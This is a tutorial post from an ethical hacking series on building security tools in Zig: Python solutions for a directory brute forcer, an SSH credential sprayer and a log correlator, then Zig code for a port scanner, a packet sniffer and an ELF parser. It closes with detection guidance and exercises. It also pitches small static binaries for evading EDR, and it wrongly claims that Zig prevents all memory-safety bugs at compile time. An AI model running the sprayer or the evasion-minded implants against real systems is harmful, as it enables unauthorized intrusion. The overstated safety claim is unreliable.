Learn Ethical Hacking (#60) - Zig for Security Tools - When Speed and Memory Matter
Learn Ethical Hacking (#60) - Zig for Security Tools - When Speed and Memory Matter

What will I learn
- Why Zig for security tooling -- when Python is too slow and C is too dangerous;
- Memory-safe low-level programming -- Zig's approach to the problems that cause 70% of security vulnerabilities;
- Network programming in Zig -- building fast TCP scanners and protocol parsers;
- Cross-compilation -- compiling a single Zig binary that runs on Linux, Windows, and macOS without dependencies;
- C interop -- calling existing C security libraries (libpcap, OpenSSL) from Zig without wrappers;
- Building a fast port scanner -- leveraging Zig's I/O for scanning thousands of ports per second;
- Binary analysis tooling -- parsing ELF headers and working with raw bytes and memory layouts;
- Defense: understanding compiled-language tooling to detect and analyze attacker binaries.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Zig compiler installed (https://ziglang.org/download/);
- Understanding of the Learn Zig Series recommended;
- The ambition to learn ethical hacking and security research.
Difficulty
- Advanced
Curriculum (of the Learn Ethical Hacking Series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux
- Learn Ethical Hacking (#32) - Privilege Escalation - Windows
- Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
- Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks
- Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense
- Learn Ethical Hacking (#36) - Cloud Security - Azure and GCP
- Learn Ethical Hacking (#37) - Container Security - Docker and Kubernetes Attacks
- Learn Ethical Hacking (#38) - Infrastructure as Code - Securing the Automation
- Learn Ethical Hacking (#39) - Email Security - Phishing Infrastructure and Defense
- Learn Ethical Hacking (#40) - DNS Attacks - Exploiting the Internet's Foundation
- Learn Ethical Hacking (#41) - Exploitation Frameworks - Metasploit and Cobalt Strike
- Learn Ethical Hacking (#42) - Custom Exploit Development - Writing Your Own
- Learn Ethical Hacking (#43) - Exploit Development Advanced - Modern Mitigations and Bypasses
- Learn Ethical Hacking (#44) - Reverse Engineering - Understanding Binaries
- Learn Ethical Hacking (#45) - Supply Chain Attacks - Poisoning the Source
- Learn Ethical Hacking (#46) - The Human Factor - Why Security Training Fails
- Learn Ethical Hacking (#47) - Physical Security and OSINT - The Forgotten Attack Vectors
- Learn Ethical Hacking (#48) - Insider Threats - When the Call Is Coming from Inside the House
- Learn Ethical Hacking (#49) - Deepfakes and AI Deception - The New Social Engineering
- Learn Ethical Hacking (#50) - Red Team Operations - Simulating Real Attacks
- Learn Ethical Hacking (#51) - Incident Response - When Things Go Wrong
- Learn Ethical Hacking (#52) - Threat Intelligence - Knowing Your Enemy
- Learn Ethical Hacking (#53) - Security Architecture - Designing Systems That Resist Attack
- Learn Ethical Hacking (#54) - Compliance and Governance - The Business of Security
- Learn Ethical Hacking (#55) - Privacy and Data Protection - GDPR, CCPA, and Beyond
- Learn Ethical Hacking (#56) - Cryptocurrency Security - Attacking and Defending Digital Assets
- Learn Ethical Hacking (#57) - IoT and Embedded Security - Hacking the Physical World
- Learn Ethical Hacking (#58) - The AI Security Landscape - Attacking and Defending AI Systems
- Learn Ethical Hacking (#59) - Python for Pentesters - Automating Everything
- Learn Ethical Hacking (#60) - Zig for Security Tools - When Speed and Memory Matter (this post)
Learn Ethical Hacking (#60) - Zig for Security Tools - When Speed and Memory Matter
Solutions to Episode 59 Exercises
Exercise 1: Directory brute forcer.
#!/usr/bin/env python3
"""dirbrute.py -- threaded directory brute forcer"""
import requests
import sys
from concurrent.futures import ThreadPoolExecutor
def check_path(base_url, path, timeout=5):
url = f"{base_url.rstrip('/')}/{path.strip()}"
try:
r = requests.get(url, timeout=timeout, allow_redirects=False)
if r.status_code in (200, 301, 302, 403):
return url, r.status_code
except requests.RequestException:
pass
return None, None
def brute(base_url, wordlist, threads=20):
with open(wordlist) as f:
words = [line.strip() for line in f if line.strip()]
with ThreadPoolExecutor(max_workers=threads) as pool:
futures = [pool.submit(check_path, base_url, w) for w in words]
for future in futures:
url, status = future.result()
if url:
print(f"[{status}] {url}")
if __name__ == '__main__':
brute(sys.argv[1], sys.argv[2])
The key design choice here is allow_redirects=False -- if you follow redirects, a 301 from /admin to /admin/ gets reported as 200, and you lose the information that the redirect itself existed. A 301 to /login tells you the path exists and requires authentication. A 403 tells you the path exists and you are not authorized. Both are valuable findings that following redirects would hide.
Exercise 2: SSH credential sprayer.
import paramiko, sys, time
def ssh_spray(host, users_file, password, delay=1):
with open(users_file) as f:
users = [l.strip() for l in f if l.strip()]
for user in users:
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username=user, password=password, timeout=5)
print(f"[+] SUCCESS: {user}:{password}")
client.close()
except paramiko.AuthenticationException:
print(f"[-] {user}")
except Exception as e:
print(f"[!] {user}: {e}")
time.sleep(delay)
ssh_spray(sys.argv[1], sys.argv[2], sys.argv[3])
The AutoAddPolicy() is a conscious decision for a lab tool -- it accepts any server host key without verification. In production SSH code you would NEVER do this (it enables MITM), but for a sprayer running against your own lab VM it avoids the "host key not found" error that would block every connection attempt. The exception handling differentiates between authentication failures (expected, move on), connection errors (network problem, worth logging), and timeouts (host might be down or rate limiting). Each failure mode means something different for your assessment.
Exercise 3: Log correlation for lateral movement.
import xml.etree.ElementTree as ET, sys
SUSPICIOUS = {
'4624': 'Network Logon',
'7045': 'Service Created (PsExec?)',
'4688': 'Process Creation',
}
tree = ET.parse(sys.argv[1])
ns = {'e': 'http://schemas.microsoft.com/win/2004/08/events/event'}
events = []
for event in tree.findall('.//e:Event', ns):
eid = event.find('.//e:EventID', ns)
if eid is not None and eid.text in SUSPICIOUS:
time_created = event.find('.//e:TimeCreated', ns)
ts = time_created.get('SystemTime', '') if time_created is not None else ''
events.append((ts, eid.text, SUSPICIOUS[eid.text]))
for ts, eid, desc in sorted(events):
print(f"{ts} Event {eid}: {desc}")
The Windows Event Log approach here is simplified but the principle is solid -- correlating Event IDs 4624 (network logon), 7045 (new service installation, classic PsExec indicator from episode 34), and 4688 (process creation) creates a timeline that reveals lateral movement patterns. A network logon followed within seconds by a service creation followed by suspicious process execution is the textbook Kerberos pass-the-ticket chain we discussed in episode 33.
Episode 59 was about Python as the pentester's workhorse -- the language you reach for when you need a custom tool in 30 minutes. We built port scanners, SQL injection detectors, ARP scanners, password sprayers, reverse shells, log analyzers, and nmap integrations. Python won on speed of development, library ecosystem, and cross-platform compatibility. For 90% of pentesting tasks, Python is the right answer.
But what about the other 10%?
When Python Is Not Enough
Here is the thing about Python that nobody in the "Python for hackers" world likes to talk about: it is slow, it is large, and it is a dependency nightmare on targets. Consider these scenarios:
Port scanning 65,535 ports -- our Python scanner from episode 59 used ThreadPoolExecutor with 100 workers. That is fast for Python, but the GIL (Global Interpreter Lock) means those 100 threads are actually taking turns on a single CPU core. A Zig implementation using real OS-level I/O multiplexing can handle thousands of concurrent connections across all CPU cores. The difference is not academic -- on a full /16 network scan (65,536 hosts x 1000 ports), the Python version takes hours, the Zig version takes minutes.
Implant development -- an authorized red team engagement (episode 50) sometimes requires dropping an executable on a target system. A Python "binary" requires either the Python runtime already installed (unlikely on a hardened server) or packaging with PyInstaller which produces a 50MB+ blob that any competent EDR flags immediately. A Zig binary is a single static executable under 500KB that runs on the target with zero dependencies.
Fuzzing -- generating and sending millions of malformed inputs per second (we will cover this in detail later in the series) requires native speed. Python's overhead per function call and per object allocation makes high-speed fuzzing impractical. Zig compiles to native code with no runtime overhead.
Binary analysis -- parsing ELF headers (episode 44), manipulating bytes, working with raw memory layouts -- these operations are natural in a systems language. In Python you fight struct.pack and ctypes for every byte. In Zig, bytes are just bytes.
Cross-platform tooling -- one Zig source file compiles to Linux, Windows, macOS, FreeBSD, and even bare metal ARM (episode 57 -- IoT), with no dependencies. zig build-exe scanner.zig -target x86_64-linux produces a Linux binary from your macOS laptop. No Docker, no cross-compilation toolchain, no virtual machine.
This is where Zig enters the picture. Everything you learned (or should have learned ;-)) from the Learn Zig Series becomes directly applicable to security tooling.
TCP Port Scanner in Zig
Here we go! Our first security tool in Zig -- a port scanner. Compare this mentally to the Python version from episode 59:
const std = @import("std");
const net = std.net;
const ScanResult = struct {
port: u16,
open: bool,
};
fn scanPort(host: []const u8, port: u16, timeout_ms: u32) ScanResult {
const address = net.Address.parseIp4(host, port) catch return .{ .port = port, .open = false };
const stream = net.tcpConnectToAddress(address) catch return .{ .port = port, .open = false };
defer stream.close();
// Set socket timeout for reads
const timeout = std.posix.timeval{
.sec = @intCast(timeout_ms / 1000),
.usec = @intCast((timeout_ms % 1000) * 1000),
};
std.posix.setsockopt(
stream.handle,
std.posix.SOL.SOCKET,
std.posix.SO.RCVTIMEO,
std.mem.asBytes(&timeout),
) catch {};
return .{ .port = port, .open = true };
}
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();
const args = try std.process.argsAlloc(allocator);
defer std.process.argsFree(allocator, args);
const host = if (args.len > 1) args[1] else "127.0.0.1";
const max_port: u16 = if (args.len > 2)
std.fmt.parseInt(u16, args[2], 10) catch 1024
else
1024;
const stdout = std.io.getStdOut().writer();
try stdout.print("Scanning {s} ports 1-{d}...\n", .{ host, max_port });
var open_count: u32 = 0;
var port: u16 = 1;
while (port <= max_port) : (port += 1) {
const result = scanPort(host, port, 1000);
if (result.open) {
try stdout.print(" {d}/tcp OPEN\n", .{result.port});
open_count += 1;
}
}
try stdout.print("\nScan complete: {d} open ports found.\n", .{open_count});
}
A couple of things to notice here. First, error handling is explicit and structural -- catch return .{ .port = port, .open = false } means "if the connection fails, this port is closed, move on." No try-except blocks catching broad exception classes, no silent failures. Every error is handled at the point where it occurs.
Second, the defer stream.close() pattern -- the socket is closed automatically when scanPort returns, regardless of how it returns. This is Zig's equivalent of Python's with statement, but it works for any resource, not just objects with __enter__ and __exit__.
Third -- and this is the important part for security tooling -- this scanner is sequential. One port at a time. That is obviously slow for a real scan. But the fix is not threading (like Python's ThreadPoolExecutor). The fix is I/O multiplexing at the OS level, which Zig exposes directly. We will extend this shortly.
Compile and cross-compile:
# Compile for current platform
zig build-exe scanner.zig -O ReleaseFast
# Cross-compile for Linux (from macOS or Windows!)
zig build-exe scanner.zig -O ReleaseFast -target x86_64-linux
# Cross-compile for Windows
zig build-exe scanner.zig -O ReleaseFast -target x86_64-windows
# Cross-compile for ARM (Raspberry Pi, IoT devices from ep57)
zig build-exe scanner.zig -O ReleaseFast -target aarch64-linux
# Result: single static binary, no dependencies
ls -la scanner
# -rwxr-xr-x 1 user user 217K scanner
# Compare: Python + PyInstaller = 50MB+
That 217K number should make you pause. A complete, functional port scanner in 217 kilobytes. No Python runtime, no shared libraries, no DLL dependencies. Copy it to a target, run it, delete it. From a red team perspective (episode 50), the smaller the tool, the smaller the footprint, the less likely it triggers file-size heuristics in EDR solutions.
C Interop -- Using Existing Security Libraries
Here is where Zig gets genuinely interesting for security work. The entire C security ecosystem -- libpcap for packet capture, OpenSSL for crypto, libcurl for HTTP, libssh2 for SSH -- is available in Zig with zero wrapper code:
const std = @import("std");
const c = @cImport({
@cInclude("pcap/pcap.h");
});
pub fn main() !void {
var errbuf: [c.PCAP_ERRBUF_SIZE]u8 = undefined;
// Open network interface for packet capture
const handle = c.pcap_open_live(
"eth0", // interface
65535, // snaplen -- capture full packets
1, // promiscuous mode
1000, // timeout (ms)
&errbuf,
);
if (handle == null) {
std.debug.print("pcap_open_live failed: {s}\n", .{&errbuf});
return;
}
defer c.pcap_close(handle);
const stdout = std.io.getStdOut().writer();
try stdout.print("Capturing packets on eth0...\n", .{});
// Capture 10 packets
var count: u32 = 0;
while (count < 10) {
var header: *c.pcap_pkthdr = undefined;
var data: [*c]const u8 = undefined;
const result = c.pcap_next_ex(handle, &header, &data);
if (result == 1) {
count += 1;
// Parse ethernet header (14 bytes)
const eth_type = (@as(u16, data[12]) << 8) | @as(u16, data[13]);
if (eth_type == 0x0800) { // IPv4
const src_ip = data[26..30];
const dst_ip = data[30..34];
try stdout.print("Packet {d}: {d} bytes {d}.{d}.{d}.{d} -> {d}.{d}.{d}.{d}\n", .{
count,
header.len,
src_ip[0], src_ip[1], src_ip[2], src_ip[3],
dst_ip[0], dst_ip[1], dst_ip[2], dst_ip[3],
});
}
}
}
}
# Compile with libpcap linking
zig build-exe sniffer.zig -lpcap -lc
# Requires: libpcap-dev installed (apt install libpcap-dev)
Look at what happened there. @cImport and @cInclude("pcap/pcap.h") -- Zig reads the C header file directly and makes every function, every struct, every constant available as native Zig. No Python ctypes. No Go CGO (which is painfully slow and breaks cross-compilation). No Rust unsafe blocks wrapping every C call. Zig imports C headers and calls C functions as if they were Zig functions.
This means that every C security library ever written is imediately usable in your Zig tools. libpcap for packet capture (as above), libssl for TLS implementation analysis, libcurl for HTTP fuzzing, libmagic for file type detection, even nmap's service detection probes (which are implemented in C). You get the speed of C, the safety of Zig, and the ecosystem of decades of C security tooling -- all in the same binary.
Binary Analysis and ELF Parsing
In episode 44 we discussed reverse engineering and binary analysis. Now we build our own ELF parser in Zig -- the kind of tool you would use on a pentest to quickly analyze binaries found on a compromised system:
const std = @import("std");
const ElfInfo = struct {
class: []const u8,
endian: []const u8,
elf_type: []const u8,
entry_point: u64,
phdr_count: u16,
shdr_count: u16,
is_static: bool,
};
fn parseElf(data: []const u8) ?ElfInfo {
if (data.len < 64) return null;
if (!std.mem.eql(u8, data[0..4], "\x7fELF")) return null;
const class: []const u8 = if (data[4] == 2) "64-bit" else "32-bit";
const endian: []const u8 = if (data[5] == 1) "little-endian" else "big-endian";
const elf_type_val = std.mem.readInt(u16, data[16..18], .little);
const elf_type: []const u8 = switch (elf_type_val) {
1 => "relocatable",
2 => "executable",
3 => "shared object",
4 => "core dump",
else => "unknown",
};
var entry: u64 = 0;
var phdr_count: u16 = 0;
var shdr_count: u16 = 0;
if (data[4] == 2) { // 64-bit ELF
entry = std.mem.readInt(u64, data[24..32], .little);
phdr_count = std.mem.readInt(u16, data[56..58], .little);
shdr_count = std.mem.readInt(u16, data[60..62], .little);
}
// Check for INTERP program header (indicates dynamic linking)
var is_static = true;
const phoff = std.mem.readInt(u64, data[32..40], .little);
const phentsize = std.mem.readInt(u16, data[54..56], .little);
var i: u16 = 0;
while (i < phdr_count) : (i += 1) {
const offset = phoff + @as(u64, i) * @as(u64, phentsize);
if (offset + 4 > data.len) break;
const p_type = std.mem.readInt(u32, data[@intCast(offset)..][0..4], .little);
if (p_type == 3) { // PT_INTERP
is_static = false;
break;
}
}
return .{
.class = class,
.endian = endian,
.elf_type = elf_type,
.entry_point = entry,
.phdr_count = phdr_count,
.shdr_count = shdr_count,
.is_static = is_static,
};
}
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const args = try std.process.argsAlloc(gpa.allocator());
defer std.process.argsFree(gpa.allocator(), args);
if (args.len < 2) {
std.debug.print("Usage: elfparse <binary>\n", .{});
return;
}
const file = try std.fs.cwd().openFile(args[1], .{});
defer file.close();
const data = try file.readToEndAlloc(gpa.allocator(), 10 * 1024 * 1024);
defer gpa.allocator().free(data);
const stdout = std.io.getStdOut().writer();
if (parseElf(data)) |info| {
try stdout.print("ELF Analysis: {s}\n", .{args[1]});
try stdout.print(" Class: {s}\n", .{info.class});
try stdout.print(" Endianness: {s}\n", .{info.endian});
try stdout.print(" Type: {s}\n", .{info.elf_type});
try stdout.print(" Entry point: 0x{x}\n", .{info.entry_point});
try stdout.print(" Prog hdrs: {d}\n", .{info.phdr_count});
try stdout.print(" Sect hdrs: {d}\n", .{info.shdr_count});
try stdout.print(" Linking: {s}\n", .{
if (info.is_static) "STATIC" else "dynamic",
});
} else {
try stdout.print("Not a valid ELF file: {s}\n", .{args[1]});
}
}
The static vs dynamic detection is the interesting part from a security perspective. PT_INTERP (program header type 3) is the segment that contains the path to the dynamic linker (/lib64/ld-linux-x86-64.so.2). If this header is present, the binary is dynamically linked. If it is absent, the binary is statically linked. As we will discuss in the defense section, statically linked binaries are rare in legitimate software and common in attacker tooling -- making this a useful triage indicator.
Why Zig for Security Tooling -- The Full Picture
Having said that, let me lay out the complete argument for why Zig belongs in your security toolkit, beyond just "it is fast":
Property Security implication
--------- --------------------
1. Single static binary No runtime, no dependencies. Drop on target, run,
delete. Binary size 100-500KB (vs 50MB+ Python,
10MB+ Go). Smaller footprint = harder to detect.
2. Built-in cross-comp zig build-exe -target x86_64-linux (from any OS)
zig build-exe -target aarch64-linux (ARM/IoT)
One source, every platform. No Docker, no VM.
3. No garbage collector Predictable performance. No GC pauses that might
time out a network connection, miss a timing
window, or cause detectable behavior patterns.
4. C ABI compatibility Call any C library directly. The entire C security
ecosystem is available without wrappers or FFI.
5. Comptime Generate lookup tables, hash values, protocol
parsers at compile time. Zero runtime overhead
for constant data. Obfuscation opportunities.
6. Memory safety Bounds checking, no null dereference, no UAF.
The EXACT vulnerability classes from episodes
42-43 are prevented by the language itself.
Your tools wont introduce the bugs you exploit.
Point 6 deserves emphasis. In episodes 42 and 43 we exploited buffer overflows, use-after-free, and null pointer dereferences in C programs. Those are the vulnerability classes responsible for roughly 70% of all security bugs in systems software (Microsoft's own data). Zig prevents ALL of them at compile time. So when you build a security tool in Zig, you are building a tool that cannot suffer from the most common classes of vulnerability. Your exploit tool itself is not exploitable. That matters when your tools might run on hostile networks.
Defense: Detecting Compiled Security Tools
Understanding how attackers build Zig/Go/Rust tools helps defenders detect them. This is the other side of the knowledge we just acquired:
Detection indicator Why it works
------------------- ------------
1. Static binaries Most legitimate software uses dynamic linking
are suspicious (shared libs save disk space and memory). A
statically linked binary with zero .so/.dll
deps is unusual and warrants investigation.
Check: ldd <binary> returns "not a dynamic
executable" -- flag it.
2. Cross-compiled Zig cross-compiled for Linux from macOS has
binaries have tells different section layouts than GCC-compiled
binaries. The .comment section might say
"zig" instead of "GCC: (Ubuntu 12.3.0)".
Check: readelf -p .comment <binary>
3. Small binary + many A legitimate 200KB binary usually depends on
capabilities shared libs for complex functionality. A 200KB
binary that does port scanning, packet capture,
AND file operations? That is suspicious density.
4. Behavior over binary Regardless of what language a tool is written
in, a port scanner sends many SYN packets, a
credential sprayer sends many auth requests,
a reverse shell creates an outbound TCP conn.
Detect the BEHAVIOR, not the BINARY. Network
monitoring (episode 29) and IDS (episode 51)
are your primary detection layers.
5. Memory forensics Zig binaries in memory look different from Go
(goroutine stacks visible), Python (bytecode
interpreter), and Rust (similar to C but with
different panic handlers). Understanding
language-specific runtime artifacts aids
memory analysis during incident response.
The most important insight is point 4: behavior-based detection is language-agnostic. It does not matter whether the attacker's port scanner is written in Python, Go, Zig, Rust, or hand-crafted assembly -- it still generates an anomalous number of SYN packets from a single source. The network does not lie. This is why episode 29 (network sniffing) and episode 51 (incident response) are foundational regardless of what language the attacker chose.
Zig vs Go vs Rust for Security Tooling
Since we are comparing languages, let me give you the honest comparison. Go, Rust, and Zig all compete in the "compiled security tool" space, and each has genuine strengths:
Zig Go Rust
Binary size 100-500KB 5-15MB 1-5MB
Dependencies Zero Go runtime Zero (usually)
Cross-compile Built-in, trivial Built-in Requires toolchain
C interop Native @cImport CGO (slow, painful) unsafe + bindgen
GC None Yes None
Learning curve Moderate Low Steep
Ecosystem Small Large Large
Go has the largest ecosystem for security tools (Nuclei, Subfinder, httpx, Amass -- all written in Go). But Go binaries include the entire Go runtime (garbage collector, goroutine scheduler), which inflates binary size to 5-15MB and adds detectable runtime characteristics. The CGO bridge for calling C libraries is slow and breaks cross-compilation -- the exact thing that makes Go easy to use. For rapid prototyping of security tools that do not need to be stealthy, Go is excellent. For implant development or tools that need to be small and invisible, Go is not ideal.
Rust produces small, fast, safe binaries with no garbage collector. It has a strong ecosystem for security tooling and its ownership system provides memory safety guarantees similar to Zig's. The downside is the learning curve -- Rust's borrow checker is notoriously difficult for newcomers, and fighting the compiler is real. C interop requires unsafe blocks, which partially defeats the safety argument. Having said that, Rust is arguably the "production" choice for security tools that need to be maintained by teams.
Zig fills the niche between C and Rust. It gives you C-level control with compile-time safety, native C interop without any bridge, built-in cross-compilation that actually works, and the smallest possible binaries. The ecosystem is small (Zig is young), so you will be writing more from scratch. But for offensive security tools where binary size, stealth, and C library access matter, Zig is hard to beat.
My take: use Python for 90% of your pentesting work (episode 59). Use Zig for the 10% where you need speed, small binaries, or C library access. Keep Go and Rust in your awareness for reading and understanding other people's tools.
The AI Slop Connection
AI code generators produce Zig code that compiles but is fundamentally wrong for security work. I have seen AI-generated Zig security tools that allocate memory with std.heap.page_allocator and never free it (memory leak that grows with every scan iteration), that use @panic for error handling in network code (crashing your tool when a target sends an unexpected response is NOT acceptable), and that use std.debug.print for output (which goes to stderr and is invisible when piped). The ELF parser from earlier in this episode demonstrates proper patterns -- explicit allocator management with defer cleanup, error returns instead of panics, and output to stdout via the writer interface.
The tools we built in episodes 42-43 exploited exactly the kind of memory management mistakes that AI-generated C code makes. Zig was designed to prevent those mistakes. But if you let an AI generate your Zig code without understanding what correct Zig looks like, you end up with code that compiles, runs, and contains the same classes of bugs that Zig was built to eliminate. Write your security tools with intent, not with autocomplete.
Exercises
Exercise 1: Build a TCP port scanner in Zig that scans the top 100 common ports of a target host. It should: (a) accept a target IP as a command-line argument, (b) attempt TCP connections with a 1-second timeout, (c) print open ports with the connection time in milliseconds, (d) compile as a static binary under 300KB. Cross-compile it for Linux and verify it runs on your lab VM. Compare its speed against the Python scanner from episode 59 by scanning the same target. Save source to ~/lab-notes/zig-scanner.zig.
Exercise 2: Build an ELF analysis tool in Zig that reads a Linux binary and extracts: (a) ELF class (32/64-bit), (b) entry point address, (c) number of program headers and section headers, (d) all section names, (e) whether the binary is statically or dynamically linked (check for PT_INTERP), (f) the .comment section contents (to identify the compiler). Test it against your Zig scanner from exercise 1, the Python interpreter (/usr/bin/python3), and /usr/bin/ls. Document the differences. Save source to ~/lab-notes/zig-elfparse.zig.
Exercise 3: Compare the detection footprint of equivalent tools written in Python, Go, and Zig. For each language, build a simple TCP connect scanner (100 ports). For each version, measure and document: (a) file size on disk, (b) number of shared library dependencies (ldd output), (c) strings in the binary that identify the language or runtime (strings <binary> | grep -i "python\|golang\|zig"), (d) memory usage while running (/proc/<pid>/status VmRSS). Document which language produces the smallest, least identifiable binary and why that matters for both offensive tooling and defensive detection. Save to ~/lab-notes/language-footprint-comparison.md.
Thanks for your contribution to the STEMsocial community. Feel free to join us on discord to get to know the rest of us!
Please consider delegating to the @stemsocial account (85% of the curation rewards are returned).
Consider setting @stemsocial as a beneficiary of this post's rewards if you would like to support the community and contribute to its mission of promoting science and education on Hive.